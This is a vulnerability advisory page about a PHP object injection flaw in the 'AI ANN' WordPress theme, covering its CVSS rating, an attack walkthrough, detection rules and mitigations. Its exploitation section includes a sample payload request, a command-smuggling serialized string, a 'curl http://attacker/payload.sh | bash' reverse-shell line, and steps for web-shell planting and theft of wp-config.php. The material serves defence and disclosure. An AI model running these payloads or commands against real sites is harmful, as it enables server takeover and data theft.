☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Axiomthemes logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-502
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-65581

CVE-2026-65581 — WordPress AI ANN theme <= 1.29.0 - PHP Object Injection vulnerability
📅 PUBLISHED: 2026-08-06 00:00 UTC 🔄 UPDATED: 2026-10-09 11:55 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.56%
👁️
0.56% probability
14.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 9.8
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
9.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-65581 is a critical unauthenticated PHP Object Injection vulnerability affecting the WordPress "AI ANN" theme, version 1.29.0 and earlier. This flaw allows remote, unauthenticated attackers to inject arbitrary PHP objects into the application, leading to potential remote code execution (RCE), full site compromise, data theft, and server takeover. The vulnerability carries a CVSS score of 9.8 (Critical) due to its network attack vector, low attack complexity, no privilege requirements, and no user interaction needed. As of this report, no official patch has been released, and all deployments of AI ANN ≤ 1.29.0 remain exposed.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Technical Analysis

Vulnerability Mechanism

CVE-2026-65581 is classified under CWE-502 (Deserialization of Untrusted Data), specifically manifesting as a PHP Object Injection vulnerability. The root cause lies in the AI ANN theme's improper handling of unserialize() calls on user-controlled input without adequate sanitization or validation.

In typical WordPress theme code, this vulnerability arises when the theme passes a serialized PHP object from a request parameter (e.g., a cookie, POST field, or query string) directly to PHP's unserialize() function. The AI ANN theme version 1.29.0 contains at least one code path where an attacker-controlled value reaches this dangerous function.

The attack leverages PHP's object deserialization behavior: when unserialize() processes a crafted serialized string, it instantiates any class named in the string and may trigger magic methods such as __wakeup(), __destruct(), __toString(), or __call(). If the WordPress core or plugin/theme codebase contains a "POP chain" (Property-Oriented Programming) — a sequence of magic method calls that leads to arbitrary code execution — the attacker can weaponize the injection for RCE.

Attack Surface

  • Attack Vector: Network (remote)
  • Authentication: None required (unauthenticated)
  • User Interaction: None required
  • Affected Component: AI ANN theme ≤ 1.29.0
  • Platform: WordPress (PHP-based)

The attack surface is the theme's input handling — any parameter ($_GET, $_POST, $_COOKIE, or HTTP headers) that reaches the vulnerable unserialize() call. Given the unauthenticated nature, the theme's frontend-facing functionality (e.g., AJAX handlers, template hooks, shortcode processing) is the most likely exposure point.

Code-Level Explanation

The typical vulnerable pattern:

$data = isset($_POST['data']) ? $_POST['data'] : '';
$object = unserialize(base64_decode($data)); // No validation

A crafted payload:

O:8:"WP_Posts":4:{s:8:"post_content";s:...}

When deserialized, this instantiates a WordPress core class or a class from within the theme/plugin ecosystem. If that class has magic methods that perform file operations, database queries, or system calls, RCE is achievable.

CVSS v3.1 Breakdown

  • AV:N (Network) — Exploitable remotely without physical/logical access.
  • AC:L (Low) — No special conditions or race conditions required.
  • PR:N (None) — No authentication required.
  • UI:N (None) — No victim interaction.
  • S:U (Unchanged) — The compromise affects the vulnerable component only (the web application context).
  • C:H/I:H/A:H (High/High/High) — Full confidentiality, integrity, and availability impact.

Exploitation Scenarios

Attack Chain: Unauthenticated PHP Object Injection → RCE

Step 1 — Reconnaissance

The attacker identifies targets using Shodan with dorks such as http.title:"AI ANN" or http.html:"ai-ann". They may also use WordPress-specific scanners (e.g., WPScan) to fingerprint the theme version by requesting wp-content/themes/ai-ann/style.css and parsing the "Version: 1.29.0" header. Alternatively, they enumerate theme files via directory traversal or by accessing readme.txt if directory listing is enabled.

Step 2 — Parameter Discovery

The attacker reviews the theme's JavaScript files (e.g., /wp-content/themes/ai-ann/js/ directory) to identify AJAX endpoints and parameter names. Common parameters in such themes include ajax_nonce, data, options, settings, form_data, or serialized_data. They inspect the PHP source (if exposed via backup files, or via wp-json REST API introspection) to locate the unserialize() call.

Step 3 — Payload Construction

Using a known WordPress POP chain gadget (e.g., using WP_Query or theme-specific classes with __destruct methods), the attacker crafts a serialized object:

O:10:"WP_Query_2":1:{s:4:"args";s:47:"--exec=";id;--output=...";}

The attacker then base64-encodes it (if the theme expects encoding) or sends it raw, embedding it in the HTTP request — for example, as a POST parameter or within a cookie value that the theme deserializes.

Step 4 — Delivery and Trigger

The attacker sends an HTTP POST request to the vulnerable endpoint:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim-site.com
Content-Type: application/x-www-form-urlencoded

action=ai_ann_process&data=O%3A8%3A%22AnyClass%22%3A1%3A%7Bs%3A4%3A%22cmd%22%3Bs%3A6%3A%22id%3Buname+-a%22%3B%7D

Alternatively, if the vulnerable path is a cookie or a query string, the payload is embedded accordingly. The server's unserialize() call processes the object, triggering the magic method chain.

Step 5 — Code Execution and Post-Exploitation

Once RCE is achieved, the attacker:

  • Executes whoami, id, curl http://attacker/payload.sh | bash to establish a reverse shell.
  • Creates a new WordPress admin account (INSERT INTO wp_users...) or patches an existing plugin/theme file to maintain persistence.
  • Exfiltrates wp-config.php (containing database credentials) and any sensitive data (customer records, API keys).
  • Uses the compromised server as a pivot to the internal network (if the web server has internal access).
  • Installs a web shell (e.g., c99.php) in the web root for persistent backdoor access.

Impact Assessment

Business Impact

  • Confidentiality: Complete compromise of all data handled by the WordPress instance: customer PII, payment details (if WooCommerce or similar), business documents, database credentials.
  • Integrity: Attacker can modify site content (defacement), inject malicious scripts (affecting all visitors), alter database records (fraud), and backdoor the server.
  • Availability: RCE allows total site defacement, server shutdown (DoS via kill or rm -rf), ransomware deployment, or cryptojacking that degrades server performance.

Affected Systems

  • All WordPress installations using AI ANN theme versions 1.29.0 and earlier.
  • Shared hosting environments where theme compromise can escalate to adjacent tenants (through privilege escalation or shared filesystem access).
  • Sites behind WAFs are not automatically protected since the payload is in serialized form and may bypass signature-based filtering.

Blast Radius

  • The vulnerable server is fully compromised.
  • Downstream: if the server stores customer data, GDPR/CCPA/PIPEDA breach notification is mandatory.
  • If the server hosts multiple WordPress sites (multisite), all sites are at risk once the base installation is compromised.

CVSS Reference

The CVSS score of 9.8 reflects Critical severity. High confidentiality, integrity, and availability impacts align with full control of the web application and underlying server.

Detection Guidance

Sigma Rule

title: WordPress AI ANN Theme PHP Object Injection Attempt
id: 7f3a2b6d-9c1e-4d5a-8f4e-2c9d1a5e6071
status: experimental
description: Detects HTTP requests containing serialized PHP object syntax in parameters targeting WordPress AI ANN theme.
author: ValtersIT Threat Intel
date: 2026/02/10
logsource:
  category: webserver
  product: apache
  detection:
    selection:
      cs-method: 'POST'
      cs-uri-query|contains:
        - 'wp-admin/admin-ajax.php'
        - 'wp-json/'
      c-uri|contains:
        - 'O:'
        - 'a:'
        - 's:'
      c-uri|contains|all:
        - 'ai_ann'
        - 'unserialize'
    condition: selection
  fields:
    - clientip
    - useragent
    - host
  falsepositives:
    - Legitimate theme serialization (unlikely)
  level: critical

YARA Rule

rule WordPress_AI_ANN_PHP_Object_Injection_Exploit
{
    meta:
        author = "ValtersIT Threat Intel"
        description = "Detects serialized PHP object payloads targeting CVE-2026-65581"
        cve = "CVE-2026-65581"
        date = "2026-02-10"
    strings:
        $serialized_pattern = /O:[0-9]+:"[A-Za-z0-9_\\]+"/ nocase
        $wp_query = "WP_Query" nocase
        $ai_ann = "ai_ann" nocase
        $unserialize_ref = "unserialize" nocase
        $cookie_or_post = /(data|options|serialized_data)=/ nocase
    condition:
        $serialized_pattern and ($wp_query or $ai_ann) and 1 of ($cookie_or_post)
}

Suricata IDS Rule

alert http any any -> any any (
    msg:"ET EXPLOIT WordPress AI ANN theme PHP Object Injection (CVE-2026-65581)";
    flow:established,to_server;
    content:"POST"; http_method;
    content:"wp-admin/admin-ajax.php"; http_uri;
    content:"ai_ann"; http_client_body;
    pcre:"/O:\d+:\"[A-Za-z0-9_\\]+\"/Ui";
    pcre:"/data=(?:[A-Za-z0-9+/=]+|%[0-9A-Fa-f]{2})+/";
    sid:202665581;
    rev:1;
    reference:cve,2026-65581;
    classtype:attempted-admin;
    metadata:created_at 2026-02-10, updated_at 2026-02-10;
)

Elastic Detection

sequence by source.ip, user.name with maxspan=5m
  [network where event.type == "traffic" and destination.port == 80
    and network.protocol == "http"
    and http.request.method == "POST"
    and url.path like "*wp-admin/admin-ajax.php*"
    and http.request.body.text like "*ai_ann*"
    and (
      http.request.body.text like "*O:*"
      and http.request.body.text like regex "O:[0-9]+:\"[A-Za-z0-9_\\\\]+\""
    )
  ]
  [process where event.type == "start" and
      process.name like "sh" or process.name like "bash" or
      process.name like "php" and process.command_line like "*base64*"]

Splunk SPL Query

index=web sourcetype=access_combined
| where method="POST" AND uri_path="*wp-admin/admin-ajax.php*"
| rex field=uri_query "(?<payload>data=[^&]*)"
| regex payload="O:\d+:\"[A-Za-z0-9_\\]+\""
| stats count by src_ip, uri, payload
| eval risk_score = case(count > 5, "HIGH", count > 1, "MEDIUM", 1=1, "LOW")
| table src_ip, uri, payload, count, risk_score

Wazuh OSSEC Rule

<group name="wordpress,cve-2026-65581,php_object_injection,">
  <rule id="793386" level="15">
    <decoded as="url">
      <match>wp-admin/admin-ajax.php</match>
    </decoded>
    <match>ai_ann</match>
    <regex>O:[0-9]+:"[A-Za-z0-9_\\]+"</regex>
    <description>WordPress AI ANN theme PHP Object Injection attempt (CVE-2026-65581)</description>
    <group>web_application_attack,</group>
    <mitre>
      <id>T1190</id>
    </mitre>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Status: UNPATCHED (Patch Confidence: 0/4). No patch evidence exists from any tracked source. The vendor has not released a fixed version as of the date of this report.

1. Immediate Mitigations

  • Disable the AI ANN theme: Switch to a default WordPress theme (e.g., Twenty Twenty-Four). This removes the vulnerable code path entirely.
  • Web Application Firewall (WAF) rules: Deploy WAF rules (ModSecurity, Cloudflare, AWS WAF) that block requests containing serialized PHP object patterns in POST parameters, cookies, or query strings. Use rule patterns similar to the Suricata rule above.
  • Input validation: If the theme cannot be disabled immediately, use a WordPress security plugin (e.g., Wordfence) with vetted custom rules to block requests containing O: followed by : and a digit (serialized object pattern).
  • Network segmentation: Place the web server behind a reverse proxy that logs and can block suspicious traffic.

2. Patch/Upgrade Steps

  • Monitor vendor channels: Subscribe to Patchstack's advisory feed and the theme vendor's update notifications. As soon as a patched version (≥ 1.30.0) is released, apply it immediately.
  • Manual code hardening (temporary): If feasible, analyze the theme code for unserialize() calls on user-supplied input and replace with safe alternatives (json_decode() with validation, or type-checking before deserialization on whitelisted classes only).
  • Version control: If you self-host the theme, maintain a fork with the unserialize() call removed until the vendor patches.

3. Long-Term Hardening

  • Least privilege: Run the PHP-FPM worker under a low-privilege user with limited filesystem write access (chroot or restricted via open_basedir).
  • Disable dangerous PHP functions: In php.ini, set disable_functions=unserialize if the theme does not legitimately require it (unlikely to be default).
  • Regular updates: Enforce a policy for timely WordPress core, theme, and plugin updates.
  • Security monitoring: Deploy a SIEM/wazuh agent on all web servers to monitor for exploit attempts.
  • Backups: Maintain immutable off-site backups to allow quick recovery from defacement or ransomware.

References

  1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-65581 — official CVE details, CVSS vector, and description.
  2. Patchstack Advisory: https://patchstack.com/database/vulnerability/ai-ann-theme/wordpress-ai-ann-theme-1-29-0-php-object-injection — vendor disclosure with technical details.
  3. CWE-502 Reference: https://cwe.mitre.org/data/definitions/502.html — deserialization of untrusted data weakness documentation.
  4. OWASP Deserialization Cheat Sheet: https://owasp.org/www-project-cheat-sheets/cheatsheets/Deserialization_Cheat_Sheet.html — mitigation patterns for PHP object injection.
  5. WordPress Theme Review Handbook: https://developer.wordpress.org/themes/ — best practices for theme code security (reference for secure coding remediation).

Threat Actor Activity: As of this report, there is no evidence of coordinated exploitation campaigns in the wild specifically targeting CVE-2026-65581. The vulnerability was disclosed by Patchstack on an undisclosed date; given the critical CVSS score, active scanning is anticipated. Security teams should prioritize detection rules and mitigations proactively.

CISA KEV Status: Not listed in CISA's Known Exploited Vulnerabilities catalog. No exploit-in-the-wild evidence has been confirmed by CISA.

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-65581/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.